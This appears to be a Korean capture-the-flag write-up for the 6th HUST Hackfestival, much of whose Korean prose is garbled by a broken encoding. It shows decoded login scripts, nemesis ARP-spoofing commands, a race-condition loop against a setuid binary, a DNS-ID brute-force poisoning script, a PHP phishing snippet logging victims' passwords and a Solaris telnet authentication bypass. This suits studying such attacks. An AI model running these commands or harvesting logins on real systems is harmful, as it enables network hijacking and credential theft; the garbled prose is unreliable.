6th 
HUST 
Hackfestival 
 
 


By 
RiceBox 
(RiceBox@wowhacker.org) 
Email: 
RiceBox@yumail.com 




[Level 
1] 
-RSA 
ȣȭ 


αؼ 
ģ 
 
 
 
 
 
ã 
 
ߴ. 
Խ 
 
 
ȭ鿡 
 
 
 
ʾƵ 
 
 
 
 
ʵ带 
ǿ 
 
ߴ 
. 
ϴ 
Խǿ 
ؼ 
Admin 
 
̳ 
XSS 
 
ϰ 
õ 
 
 
 
. 
(Խ 
Homepage 
ʵ忡 
Ǽڵ 
 
 
ܺ 
ºΰ 
 
...) 
׷ 
 
 
 
÷ð 
 
Դ. 
ش 
÷ø 
 
غ 
 
Ҵ. 



ش 
 
 
RSA 
ȣȭ 
 
 
 
 
־ 
. 
Ű 
 
 
 
ȣȭ 
ؾ 
Ѵٴ 
 
˰ԵǾ 
 
 
ȣȭ 
 
ΰ?? 
ó 
Ʈ 
ڿ 
 
(179=P_adeiklmorstuvy) 
 
ȣȭ 
ϴ 
 
ߴ 
. 
 
ȣȭ 
 
 
ȣ 
ƴϿ. 
(⼭ 
Ȯϴµ 
ä 
20 
е 
 
ɷȴµ 
ȣȭ 
ڿ 
ã 
 
 
5ð 
ǰ 
 
...;;) 
ᱹ 
¿ 
ٽ 
غٰ 
Խ 
â 
2 
9 
Էϴ 
κ 
Ī 
Keyword 
Ǿִ 
 
 
ϴ 
 
2 
ȣȭ 
غô 
. 



̹ 
 
 
 
Է϶ 
Ʈ 
Ͷ 
32 
http://220.95.158.11/~dhclub20/admin.php 
 
Էϰ 
ȣ 
 
 
־. 


ȣ 
: 
The 
FORMula 
of 
SucCess 


-1



[Level 
2] 
- 
ڵ 


 
URL 
 
αâ 
ߴ 
 
 
ҽ 
Ȯغ 
login.js 
 
ακκ 
ó 
ϰ 
־. 


#login.js 


function 
submitLogon() 
{ 
tmpusernm 
= 
document.logon.username.value 
tmppasswd 
= 
document.logon.password.value 
successpg 
= 
"../level2redy/ch1nw0rmbyredy.html" 
failpg= 
"./check.html" 
username 
= 
"level2" 
password 
= 
"hust" 
username2 
= 
"hack" 
password2 
= 
"festival" 
username3 
= 
"level3" 
password3 
= 
"admin" 
username3 
= 
"level1" 
password3 
= 
"passed" 


if 
(tmpusernm 
== 
null) 
{ 
alert('[ 
̵ 
ƲȽϴ 
.]') 
} 
if 
(tmppasswd 
== 
null) 
{ 
alert('[ 
йȣ 
ƲȽϴ 
.') 
} 


/*--------username 
& 
password 
---------------------------*/ 
if 
(tmpusernm 
== 
username 
&& 
password 
== 
tmppasswd) 
{ 
alert('level2 
ȯմϴ 
. 
~~') 
location.href 
= 
successpg 
return 
} 
/*--------username 
& 
password 
---------------------------*/ 
/*--------username 
& 
password 
---------------------------*/ 
if 
(tmpusernm 
== 
username2 
&& 
password2 
== 
tmppasswd) 
{ 
alert('hust 
 
α 
ϼ̽ϴ 
.') 
location.href 
= 
successpg 
return 
} 


... 
߷... 


 
level2/hust 
 
Ҽ 
ȮҼִ 
. 
̸ 
̿ 
ϸ 
߱ 
(?) 
εȼҽִ 
. 


-2



<HTML> 
<HEAD> 
<META 
http-equiv="Content-Type" 
content="text/html; 
charset=ASCII"> 
<TITLE>title</TITLE> 
</HEAD> 
<BODY> 
Š̠à?׳ï?Ġ? 
?΢ 
̾ 
ľ 
ԡžՠ 
졡宮 



ž 


Ž 
Խ 


Ž 
Խ?

Ž 
Խ?

Ž 
 
 


? 


پ 
 
? 
 


?

? 
? 
娢ĥ 
楲 


 
 
 
 
ĥ 
 
奲 
ĥ奲ĥ 
 
奲ĥ 
女ĥ 
 
 
 
 
?ĥ 


 
 
 
ĥå 
䥲 
ĥ䥲¥ 
򥲰䥲 
 
øå÷ 
õå 
ŰôòŰð 
öƥå 
ĥ鲰 
䥲ĥİĥ 
 
 
 
 
 
 


 
楥 
 
 


ĥ奲ťť 
첥 
¥ 
 


 
?¥ĥ 
 
 
奲 
ĥ 


女 
 
 
? 


î?Űóö?ñĥñĥĵö 
ť 
 
򥥳 
¥ 
? 
 
?? 
ťĥ 
 
Ţ 


奲 
¥ĥ 
?

??? 


 
? 


? 


? 


</BODY> 


</HTML> 


"charset=ASCII" 
̺κ 
 
ƽŰڵ 
ȰȮҼ̸ְ 
UTF-8 
 
ȯִ 
 
Ͽ 
ȯϿ. 


-3



C:\Documents 
and 
Settings\RiceBox\My 
Documents\ 
Ʈ 
 
 
>ASCIIExploit.exe 
d 
a.html 
ASCII 
Exploit 
codec 
by 
sjpark. 
(http://mireenae.com) 
<HTML> 
<HEAD> 
<META 
http-equiv="Content-Type" 
content="text/html; 
charset=ASCII"> 
<TITLE>title</TITLE> 
</HEAD> 
<BODY> 
<!DOCTYPE 
HTML 
PUBLIC 
"-//W3C//DTD 
HTML 
4.0 
Transitional//EN"> 
<HTML> 
<HEAD> 
<TITLE> 
HUST 
6th 
Hacking 
Festival!!! 
The 
Change.. 
</TITLE> 
<META 
NAME="Generator" 
CONTENT="EditPlus"> 
<META 
NAME="Author" 
CONTENT=""> 
<META 
NAME="Keywords" 
CONTENT=""> 
<META 
NAME="Description" 
CONTENT=""> 
</HEAD> 


<BODY> 
<script 
language 
= 
JScript.Encode> 


<!-document.
write(unescape("%3Cbody%20bgcolor%3D%22%23ffffff%22%20oncontextmenu%3D% 
22return%20false%22%20ondragstart%3D%22return%20false%22%20onselectstart%3D%22re 
turn%20false%22%3E%0D%0A%3Cscript%20language%3D%22JavaScript%22%3E%0D%0A%3C 
%21-%
0D%0Apswd%28%29%0D%0Afunction%20pswd%28%29%20%7B%0D%0A%09var%20passwor 
d%20%3D%2 
0prompt%28%22%uC81C%20nick%uC744%20%uC54C%uACE0%20%uACC4%uC2E0%uAC00%u 
C694%3F%22 
%2C%22%22%29%0D%0A%09if%20%28password%20%3D%3D%20%22%52%65%64%79%22%2 
9%20%7B%0D% 
0A%09myWin%20%3D%20window.close%28%22%2E%2E%2FRedylevel2%2Fauth.php%22%29% 
3B%20% 
20%20%20%20myWin.close%28%29%3B%0D%0A%09%7D%0D%0A%09else%20%7B%0D%0A% 
09window.al 
ert%28%27%uC74C..%uAE00%uC384%uC694..%uC12D%uC12D%uD574%uC694%2E%2E%27%2 
9%3Bself 
.opener%3Dself%3B%20self.close%28%29%3B%7D%09%7D//--%3E%0D%0A%3C/script%3E")); 
//--> 
</script> 
</BODY> 
</HTML> 
</BODY> 
</HTML> 


 
 
unescape 
 
κ 
ڵ 
غ 


-4



<body 
bgcolor="#ffffff" 
oncontextmenu=% 
22return 
false" 
ondragstart="return 
false" 
onselectstart="re 
turn 
false"> 
<script 
language="JavaScript"> 
<!-


pswd() 
function 
pswd() 
{ 
var 
password 
=%2 
0prompt(" 
 
nick 
 
˰ 
Ű 
?" 


,"") 
if 
(password 
== 
"Redy") 
{ 
% 
0A 
myWin 
= 
window%.close("../Redylevel2/auth.php"); 
20 
myWin.close(); 
} 
else 
{ 
window.al 


ert(' 
 
۽ 
ؿ 
.. 
..');self 


.. 
.opener=self; 
self.close();} 
}//--> 
</script> 


ڵ 
 
ҽ 
Ȯغ 
 
http://220.95.158.11/~Redy/hust2007/thechange/hack/festival/level2/Redylevel2/auth.php 
 
̵ 
ش 
 
close 
ϵ 
α׷ 
ص 
 
Ȯ 
 
ִ 
. 
ش 
ؼ 
ٽ 
level2 
/ 
hust 
 
ϸ 
 
 
ҽ 
Ȯ 
 
ִ 
. 


<HTML><HEAD><TITLE>New 
Document</TITLE> 
<META 
content=EditPlus 
name=Generator> 
<META 
content="" 
name=Author> 
<META 
content="" 
name=Keywords> 
<META 
content="" 
name=Description> 
<SCRIPT 
language=javascript> 
newwin=open("end.html","","top=100, 
left=250, 
width=300, 
height=200"); 
setTimeout("moving()",100); 
function 
moving() 
{ 
newwin.self.close(); 
} 
</SCRIPT> 
</HEAD> 
<BODY 
bgColor=black 
onload="setTimeout('self.close()',100)" 
align="center"> 
<H1>Good 
JOB!!!</H1><!--Q29uZ3JhdHVsYXRpb25zISBVIHBhc3NlZCBMZXZlbDQuLi4gTkVYVCBMZXZlbC 
BBdXRoZW50aWNhdGlvbiBQYXNzd29yZCBpcyAiRmluZGVycyBrZWVwZXIsIGxvc2VyIHdlZXBlcn 
Mi--></BODY></HTML> 


-5



<!--Q29uZ3JhdHVsYXRpb25zISBVIHBhc3NlZCBMZXZlbDQuLi4gTkVYVCBMZXZlbCBBdXRoZW50aWN 
hdGlvbiBQYXNzd29yZCBpcyAiRmluZGVycyBrZWVwZXIsIGxvc2VyIHdlZXBlcnMi--> 
 
base64 
ڵ 
ϸ 
ȣִ. 



ȣ 
: 
Finders 
keeper, 
loser 
weepers 


[Level 
3] 
-ʵ 
 


̹ 
ȸ 
 
 
 
 
. 
θ 
 
 
ʵ 
 
 
ߴ. 
ϴ 
𼼿콺 
̿ 
 
 
 
̰ 
. 
׷ 
õ 
 
 
غ 
total 
flag 
 
 
 
ȭ 
߻߰ 
ȣ 
 
 
־. 


ȣ 
: 
BoNe 
To 
bE 
a 
HaCKeR 


[Level 
4] 
-ARP 
Spoofing 


nemesis 
 
 
Ŷ 
ۼִ 
̴ 
.( 
 
 
hping.. 
ɷµǸ 
 
 
͵ 
ִ 
.) 
 
Ŷ 
ۼϴ 
̶ 
 
Ȯϰ 
Ʈũ 
 
Ȯϱ 
 
Ŷ 
 
ߴ. 


#./tcpdump 
-evv 
udp 


Ŷ 
ٺ 
θ 
Ǿ 
ִ 
 
Ȯ߰ 
192.168.0.4 
 
 
ȣƮ̸ 
, 
Ǵٸ 
ȣ 
Ʈ 
192.168.0.5 
 
ϴ 
 
 
. 


-6



<θȮΰ 
> 


IP 
MAC 
192.168.0.1 
00:08:9f:24:83:39 
192.168.0.4 
00:90:27:98:32:5f 
192.168.0.5 
00:0e:2e:01:b4:51 
77.77.77.77 
00:90:27:98:32:5f 


Ȯε 
θ 
¿ 
Ʈ 
ARP 
Ŷ 
 
 
 
 
ARP 
Ǫ 
̶ 
Ǵ 
 
192.168.0.5 
 
 
Ŷ 
192.168.0.4 
 
 
ϴ 
 
ߴ 
. 
ϴ 
ARP 
Ŷ 
 
Ǵ 
 
PC 
 
ؼ 
ȮغҴ 
. 


#./nemesis 
arp 
-v 
-r 
-S 
203.249.91.113 
-h 
00:08:e2:44:76:3c 
-D 
210.98.189.141 
-m 
00:0b:6a:cb:bd:4d 


޾ƺ 
ARP 
Ŷ 
 
 
Ȯϰ 
Ǫ 
ߴ 
. 


/* 
192.168.0.1(GW) 
 
192.168.0.5 
 
MAC 
 
 
ȣƮ 
(192.168.0.4) 
 
MAC 
 
ϴ 
Ŷ 
 
*/ 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.5 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.1 
-m 


00:08:9f:24:83:39 


̷ 
ؼ 
Ŷ 
 
Ҵµ 
 
 
 
Դ 
. 
׷ 
ARP 
Ǫ 
 
ƴ 
𸣰 
ٴ 
 
 
. 
 
 
 
پ 
õ 
غ 
ߴ 
. 


#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.5 
-h 
00:08:e2:44:76:3c 
-D 
192.168.0.1 
-m 


00:0b:6a:cb:bd:4d 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.5 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.1 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.1 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.1 
-m 
00:08:9f:24:83:39 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.5 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.5 
-m 
00:0e:2e:01:b4:51 
#./nemesis 
arp 
-v 
-S 
192.168.0.5 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.5 
-m 
00:0e:2e:01:b4:51 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.4 
-h 
00:90:27:98:32:5f 
-D 
203.249.91.113 
-m 
00:08:e2:44:76:3c 
#./nemesis 
arp 
-v 
-r 
-S 
203.249.91.113 
-h 
00:08:e2:44:76:3c 
-D 
192.168.0.4 
-m 
00:90:27:98:32:5f 


 
ش 
 
ʰ 
... 
ٽ 
غ 
ó 
 
´ 
 
 
ٽ 
õ 
Ҵ 
 
ǽɵǴ 
Ŷ 
 
 
־. 


-7



ȣ 
: 
here.isananswer.net 


ps. 
 
׷ 
 
𸣰 
 
ȯ 
̻ϴٰ 
 
.(NIC 
 
Promiscuous 
 
 
 
ٰ 
µ 
ټ 
 
ÿ 
ϴ 
ٶ 
׷ 
...) 


[Level 
5] 
-Race 
Condition 


Race 
Condition 
̶ 
 
Ȯϰ 
( 
Ǯ̸ 
 
ʰ 
 
...) 
켱 
÷ 
Ͽ 
setuid 
 
ɸ 
α׷ 
ãƺ 
/bin 
flyHigh 
 
ã 
 
־ 
. 
 
α׷ 
strings 
 
 
α׷ 
 
Ű 
 
 
(open 
Լ 
), 
 
(write), 
(unlink) 
ϴ 
 
Ȯߴ 
. 
 
 
 
 
ϴ 
ϸ 
/quest/level5/tmp/HUST 
̸ 
 
 
Ǵ 
ª 
 
 
 
 
 
Ͽ 
б 
 
Ƿ 
 
 
 
 
. 
 
/quest/level5/tmp/HUST 
 
 
, 
Ǵ 
 
̿ϸ 
 
 
 
Ǵߴ 
. 
/bin/flyHigh 
 
غ 
, 
/quest/level5/tmp/HUST 
 
̹ 
ϸ 
 
 
ʴ 
 
˼ִ. 
̸ 
̿ϸ 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
̶ 
 


 
. 
 
ϵǰ 
Ǵ 
ð 
̿ؾϹǷ 
͹̳ 
 
 
̿ 
 
͹̳ο 
/bin/flyHigh 
 
ϰ 
, 
ٸ 
 
͹̳ο 
/quest/level5/tmp/HUST 
 
 
б۾ 
ѷ 
Ѵٸ 
 
 
 
ġ 
 
 
 
Ϸ 
 
 
̶ 
Ǵϰ 
 
 
 
ũƮ 
ۼ 
. 


/*ũƮ 
1 
/bin/flyHigh 
 
 
 
*/ 
#!/bin/sh 


for((;;)) 
do 


/bin/flyHigh 
done 


-end 



-8



/* ũƮ 2 aaaaaa"  ڿ  HUST  ϰ head   д´ */ 
#!/bin/sh 

for((;;)) 
do 

echo "aaaaaa" >> /quest/level5/tmp/HUST;head /quest/level5/tmp/HUST;usleep 10000 
done 
-end 


sh   2 ͹̳ο ش ũƮ ߰ ũƮ 2 ϴ ͹̳ο ȣ 
־. 

ȣ : PracTicE mAkeS PerFeCtsibar 

[Level 6] 
-DNS Cache Poisoning 

 ־ . 
ϴ DNS Cache  ̶  Ȯϰ ݹ غ    ׷ . 


DN S B 
(121.127.182.254 ) 
DNS  A 
(211.247.58.254) 
Client 
Attacker 
www.level6hackfestival.net Query 
1~65500 DNS ID 
210.98.189.141(MyIP) Response 

211.247.58.254 Dst 
121.127.182.254 Src 
Injected Packet 
-9



 
׸ 
 
DNS 
A 
 
DNS 
B 
 
ϱ 
 
 
 
ϸ 
Ŭ̾Ʈ 
۵ 
DNS 
 
 
 
 
ִ. 
 
DNS 
̷ε带 
ۼִ 
ҽ 
 
(dns.c) 
 
Ȯߴ 
. 
DNS 
̷ε 
 
 
ô 
 
м 
 
־ 
. 


𿣿 
̷ε 
 
 
 
URL 
 
 
 
ڿ 
տ 
ش 
ڿ 
̰ 
 
 
̴. 
ex) 
www.naver.com 
-> 
3www5naver3com 


̸ 
 
ش 
ҽ 
3www18level6hackfestival3net 
· 
 
ۼϵ 
ְ 
Ŷ 
 
 
۵Ǵ 
 
Ȯ 
 
 
ȣƮ 
غô. 
 
Ŷ 
𿣿 
Reply 
Ŷ 
Ȯ߰ 
Answer 
ʵ忡 
 
߰ 
ʿ߾ 
. 
 
 
 
 
 
ΰ 
.. 
װ 
 
. 
׶ 
ڰ 
 
 
Ѵٴ 
 
 
Դ. 
Ȥ 
Ĺ 
ƴұ?? 
ϴ 
 
 
www.level6hackfestival.net 
 
ҽ 
 
ǽ̻Ʈ 
 
. 
(ҽ 
ܾͼ 
θ 
η 
ָ 
 
 
 
ִ 
) 
׸ 
ǽ̻Ʈ 
ڰ 
ϸ 
̵ 
н尡 
Ϸ 
ǵ 
ڵ带 
ۼߴ. 


# 
./log_in_out/login.php 


<?php 


$filename 
= 
"xss.txt"; 


$fp 
= 
fopen("$filename", 
"a+"); 
fwrite($fp, 
"$main_id\n"); 
fwrite($fp, 
"$main_passwd\n"); 
fwrite($fp, 
"\n"); 
fclose($fp); 


?> 


׸ 
DNS 
̷ε 
"answer 
" 
(219.98.189.141) 
 
ԷϿ 
 
Ŷ 
 


ʵ忡 
 
 
ּ 
DNS 
 
 
 
Ŭ̾Ʈ 
www.level6hackfestival.net 
 
ϸ 
 
 
ϵ 
 
ߴ. 
 
Ѱ 
 
ʿ 
 
DNS 
ID 
 
̿ 
. 
DNS 
Cache 
 
 
ؼ 
DNS 
ID 
 
 
BruteForceing 
 
ʿϱ 
 
̷ε 
ۼ 
ҽ(dns.c) 
 
ؼ 
1~65500 
 
 
DNS 
ID 
 
ϴ 
̷ε 
ߴ 
. 
 
ũƮ 
ۼϿ 
DNS 
ID 
BruteForceing 
 
 
DNS 
 
Ŷ 
ϵ 
ߴ 
. 


#!/bin/sh 
i=0 
-10



while(i<65500) 


do 


./nemesis 
udp 
-v 
-S 
121.127.182.254 
-D 
211.247.58.254 
-x 
7777 
-y 
53 
-P 
$i 


((i 
= 
$i 
+1)) 
done 
-end 



̷ 
 
α 
 
 
̵ 
н带 
Ȯ 
 
 
־. 


ID 
: 
binubanu 
PASS 
: 
clzlsgksakfl 



̸ 
 
 
 
 
. 


ID 
binubanu 
Name 
PresidentWearsGurada! 
Team 
HUST 
E-mail 
level8@hust.net 


Join 
Date 
2007-05-15 
00:00:00 
Join 
IP 
77.77.77.77 


⼭ 
и 
NAME 
κ 
ȣ 
 
 
ȵǴ 
 
 
Ȳߴ 
. 
׷ 
ȸ 
ó 
 
÷Ȱ 
... 
ű⿡ 
޸ 
亯 
 
̶ 
 
Ȳߴ 
...;; 
⼭ 
 
3ð 
Ŵٰ 
.. 
 
 
 
... 
ο 
亯 
 
 
 
˾Ҵ...;;; 
̹ 
ȸ 
 
 
Ŵٳ... 


ȣ 
: 
PresidentWearsGurada! 


-11



[Level 
7] 
-Cryptography 
and 
Reversing 


level7.exe 
 
޾Ƽ 
غ 
 
 
ȭ 
Դ 
. 



Ϲ 
ȣ 
ص 
 
 
 
Tip. 
κ 
 
 
 
 
Ǯ̵ 
 
 
ǴܵǾ. 
 
̳ʸ 
 
Ollydbg 
 
м 
 
ϸ 
Ollydbg 
 
Ű 
۵Ǿ 
־ 
. 
ŷ 
ǽϰ 
PEID 
 
Ȯ 
Ȯ 
ȵǰ 
exeinfope 
 
 
Themida 
1.x 
 
ŷ 
 
˼־. 
ŷ 
 
ŷ˻߰ 
unthemida 
2.0 
ؾŷҼ־ 
. 
ϴ 
Ollydbg 
мϸ鼭 
Ʈ 
˻ 
 
ǽɵǴ 
ڿ 
ãƺҴ 
. 


-12



ghddlreogkrry 
 
ȣ 
 
غ 
ƴ 
 
Ȯϰ 
ٸ 
κе 
Ȯϱ 
ߴ 
. 
׷ 
 
Ʒκп 
 
 
ƾ 
߰ 
 
־. 



 
ƾ 
DL 
ҷ鿩 
 
ghdeoWkdqjrjz 
tmvptuf 
xhtmxm 
ajrrhtlvdjdy 
 
Ϻ 
ghdeoWkdqjrjz 
µ 
α׷ 
 
ڿ 
Էؼ 
Ȯϸ 
 
 
ȯǾ 
. 


-13



 
 
ٸ 
â 
ߴ 
 
 
߰ 
 
ʿϴٴ 
 
Ȯϰ 
 
ƾ 
 
ߴ. 
׷ 
 
ٽ 
ȮѽƮ 
츮 
ȣȭؾϴ¾ȣڿ 
ϴ°˰ԵǾ 
. 



Ȥ 
̾ 
CALL 
ƾ 
ȣȭ 
 
 
ƴѰϴ 
 
ش 
ƾ 
м 
 
Ǿ 
ȣȭ 
 
ƾ 
Ȯ 
 
־. 
ƾ 
м 
 
0045F70B 
EAX 
ȣȭ 
 
 
 
 
Ȯ 
 
־ 
. 



-14



ش 
ڿ 
α׷ 
Է 
 
ȣ 
 
 
 
־. 


ȣ 
:I 
Can 
Do 
ItAs 
WellAs 
You 


[Level 
8] 
-Make 
a 
Shellcode 


 
ڵ 
ۼ 
 
ش 
ڳݿ 
 
õߴµ 
н尡 
 
̴....;; 
ϴ 
ĵ 
 
 
Ȯߴµ 
Ư 
 
 
 
ʾҴ. 
 
 
ֱٿ 
ǥ 
ֶ󸮽 
ڳ 
 
غ 
ش 
ڷḦ 
˻ߴ. 


#telnet 
-l 
"-f 
̸ 
" 
[ȣƮ̸ 
] 


̿Ͽȹð 
5 
59 
... 
⼭ 
 
̿. 


-15



